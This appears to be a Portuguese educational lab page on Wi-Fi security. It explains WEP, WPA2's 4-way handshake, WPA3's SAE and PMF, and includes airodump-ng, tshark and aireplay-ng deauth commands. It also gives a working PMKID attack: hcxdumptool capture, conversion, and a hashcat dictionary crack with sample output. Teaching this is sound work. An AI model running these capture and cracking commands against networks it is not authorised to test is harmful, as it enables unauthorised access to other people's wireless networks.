🔐 Laboratório 03 · Protocolos e Criptografia

Análise de Protocolos WPA2 e WPA3

Estudo aprofundado dos mecanismos de autenticação 802.11: 4-Way Handshake WPA2-PSK, SAE/Dragonfly (WPA3), Protected Management Frames (PMF) e o ataque PMKID sem cliente associado.

WPA2-CCMP · WPA3-SAE 4-Way Handshake PMF · IEEE 802.11w PMKID · hcxtools Somente rede própria/autorizada
AES-128
Criptografia WPA2
SAE
Auth WPA3-Personal
PMF
Proteção de mgmt frames
PMKID
Captura sem cliente
⚠️ Aviso legal. Atividades somente em redes próprias ou com autorização explícita. Lei 12.737/2012 e Lei 12.965/2014.

Sumário

  1. Objetivo do laboratório
  2. Histórico e evolução
  3. WPA2 — 4-Way Handshake
  4. WPA3 — SAE e Dragonfly
  5. PMF — Protected Management Frames
  6. Ataque PMKID (sem cliente)
  7. Atividades avaliativas

1. Objetivo do laboratório

Este laboratório analisa os protocolos de segurança Wi-Fi com foco na criptografia, nos mecanismos de autenticação e nas vulnerabilidades de cada geração. O objetivo é compreender por que certos ataques funcionam e como os protocolos mais recentes os mitigam.

Comparativo geral

ProtocoloAnoAutenticaçãoCriptografiaVulnerabilidades
WEP1997Open / Shared KeyRC4 (24-bit IV)IV reutilizável, crack em minutos
WPA-TKIP2003PSK / 802.1XRC4 + TKIPTKIP vulnerável, Chopchop attack
WPA2-CCMP2004PSK / 802.1XAES-128 CCMPHandshake offline crack, PMKID, DeAuth
WPA3-Personal2018SAE (Dragonfly)AES-128 CCMPForward secrecy, resistente a offline crack
WPA3-Enterprise2018802.1X + EAPAES-256 GCMPSuite B, PMF obrigatório

2. Histórico e evolução dos protocolos

A evolução dos protocolos Wi-Fi foi impulsionada pela descoberta de vulnerabilidades em cada geração anterior.

WEP (1997)
WPA-TKIP (2003)
WPA2-CCMP (2004)
WPA2+PMF (2013)
WPA3-SAE (2018)

Por que o WEP falhou

O WEP usa RC4 com vetores de inicialização (IV) de apenas 24 bits. Com tráfego suficiente, IVs se repetem e permitem recuperar a chave por análise estatística. A ferramenta aircrack-ng quebra WEP em menos de 5 minutos com ~50.000 IVs.

# Demonstração: verificar protocolo de um AP
airodump-ng wlan0mon --bssid AA:BB:CC:77:88:99 -c 1

 BSSID              ENC   CIPHER  ESSID
 AA:BB:CC:77:88:99  WEP          OldRouter  ← RISCO CRÍTICO

# Calcular espaço de chaves WEP vs WPA2
WEP  IV: 2^24 = 16.777.216 combinações → colisão garantida
WPA2 PN: 2^48 → 281 trilhões de combinações → sem colisão prática

3. WPA2 — 4-Way Handshake em detalhe

O WPA2-PSK deriva a PMK (Pairwise Master Key) a partir da senha e do SSID via PBKDF2-SHA1 (4096 iterações). A PTK (sessão) é derivada via PRF-512 com ANonce, SNonce, MACs do AP e do cliente.

Hierarquia de chaves WPA2

ChaveDerivaçãoPapel
PMKPBKDF2(passphrase, SSID, 4096, 32)Chave mestre de 256 bits — derivada da senha
PTKPRF-512(PMK, ANonce, SNonce, MACs)Chave de sessão — única por associação
KCKPTK[0:16]Chave de confirmação — usada no MIC do handshake
KEKPTK[16:32]Chave de encriptação — protege GTK no M3
TKPTK[32:48]Chave de tráfego — encripta frames de dados
GTKGerada pelo APChave de grupo — encripta broadcasts/multicasts

Sequência do 4-Way Handshake

AP                                        Cliente
│                                              │
│ ── M1: EAPOL (ANonce) ──────────────────→   │
│    ANonce = nonce aleatório do AP            │
│                                              │
│    (Cliente deriva PTK = PRF(PMK,            │
│         ANonce, SNonce, MAC_AP, MAC_Cli))    │
│                                              │
│ ←── M2: EAPOL (SNonce + MIC) ───────────   │
│    SNonce = nonce aleatório do cliente       │
│    MIC = HMAC-SHA1(KCK, M2) ← prova a PMK  │
│                                              │
│    (AP verifica MIC, deriva mesma PTK)       │
│                                              │
│ ── M3: EAPOL (GTK encriptada + MIC) ──→    │
│    GTK encriptada com KEK                    │
│                                              │
│ ←── M4: EAPOL (ACK + MIC) ──────────────   │
│    Handshake concluído — tráfego inicia      │

Observar handshake no Wireshark

# Filtro para os 4 frames EAPOL
eapol

# Inspecionar MIC do M2 — campo crítico para crack offline
# Expandir: EAPOL → Key Information → Key MIC

# Verificar se handshake completo (4 mensagens)
tshark -r captura.pcap -Y "eapol" -T fields   -e frame.number -e eapol.keydes.key_info | wc -l
4   ← 4 mensagens EAPOL capturadas

4. WPA3 — SAE e Dragonfly Key Exchange

O WPA3-Personal substitui o handshake PSK pelo protocolo SAE (Simultaneous Authentication of Equals), baseado no Dragonfly Key Exchange. O SAE provê Perfect Forward Secrecy: mesmo com a senha, não é possível decriptar capturas antigas.

Diferenças fundamentais WPA2 vs WPA3

AspectoWPA2-PSKWPA3-SAE
AutenticaçãoBaseada em PMK derivada da senhaProva de conhecimento zero (DH + senha)
Forward SecrecyNão — captura + senha = decriptação totalSim — chave de sessão não derivável da senha
Offline crackPossível com handshake + dicionárioInviável — SAE protege contra ataques offline
PMFOpcional (desde 802.11w-2009)Obrigatório
Transition ModeWPA3-SAE/WPA2 simultâneo para compatibilidade

Verificar WPA3 em captura

# Identificar APs com WPA3 (AKM Suite = SAE)
tshark -r captura.pcap -Y "wlan.fc.type_subtype==8"   -T fields -e wlan.ssid -e wlan.rsn.akms.type | grep -E "^.+\s+8$"

# AKM type 8 = SAE (WPA3-Personal)
# AKM type 2 = PSK (WPA2-Personal)
# AKM type 1 = 802.1X (Enterprise)

# Verificar se PMF está obrigatório no AP
# Campo RSN Capabilities: bit 6 (MFPR) = 1 → obrigatório
tshark -r captura.pcap -Y "wlan.fc.type_subtype==8"   -T fields -e wlan.ssid -e wlan.rsn.capabilities.mfpr

LabNet3    1    ← PMF obrigatório (WPA3)
LabNet2    0    ← PMF opcional (WPA2)

5. PMF — Protected Management Frames (802.11w)

O PMF protege frames de gerenciamento (Deauthentication, Disassociation) contra falsificação. Sem PMF, qualquer um pode enviar frames de desautenticação forjados — base dos ataques DeAuth.

# Verificar suporte a PMF no adaptador
iw list | grep -A5 "Device supports"
Device supports: AP, station, IBSS, monitor, P2P-GO, P2P-client
                 HT, VHT, MFP (802.11w)

# Ativar PMF no hostapd (Access Point)
# /etc/hostapd/hostapd.conf
ieee80211w=2   # 0=desabilitado 1=opcional 2=obrigatório

# Efeito do PMF sobre o ataque DeAuth
# Sem PMF: aireplay-ng -0 5 ... → cliente desconecta imediatamente
# Com PMF: aireplay-ng -0 5 ... → cliente ignora o frame falsificado
send_deauth: error: No response from AP — PMF ativo, ataque bloqueado

6. Ataque PMKID — captura sem cliente associado

O PMKID é um identificador derivado da PMK presente no frame EAPOL M1. Diferente do 4-Way Handshake, ele pode ser capturado sem aguardar nenhum cliente se conectar, enviando apenas um Request de associação ao AP.

# Instalação do hcxdumptool e hcxtools
apt install -y hcxdumptool hcxtools hashcat

# Capturar PMKID — solicita associação ao AP (ativo, envia 1 frame)
hcxdumptool -i wlan0mon -o pmkid.pcapng   --enable_status=1 --filterlist_ap=bssid.txt

# Converter para formato hashcat
hcxpcapngtool -o hash.hc22000 pmkid.pcapng

# Verificar hash capturado
cat hash.hc22000
WPA*02*4d4fe7aac3a2...ef12*aabbcc112233*ddeeff001122*4c6162574946692d4c6162:...

# Crackear com hashcat + dicionário
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
4d4fe7aac3a2...ef12:ddeeff001122:aabbcc112233:LabWifi:senha123

# PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || STA_MAC)
# Derivado da PMK → vulnerável se a senha estiver em wordlist

Mitigação do ataque PMKID

7. Atividades avaliativas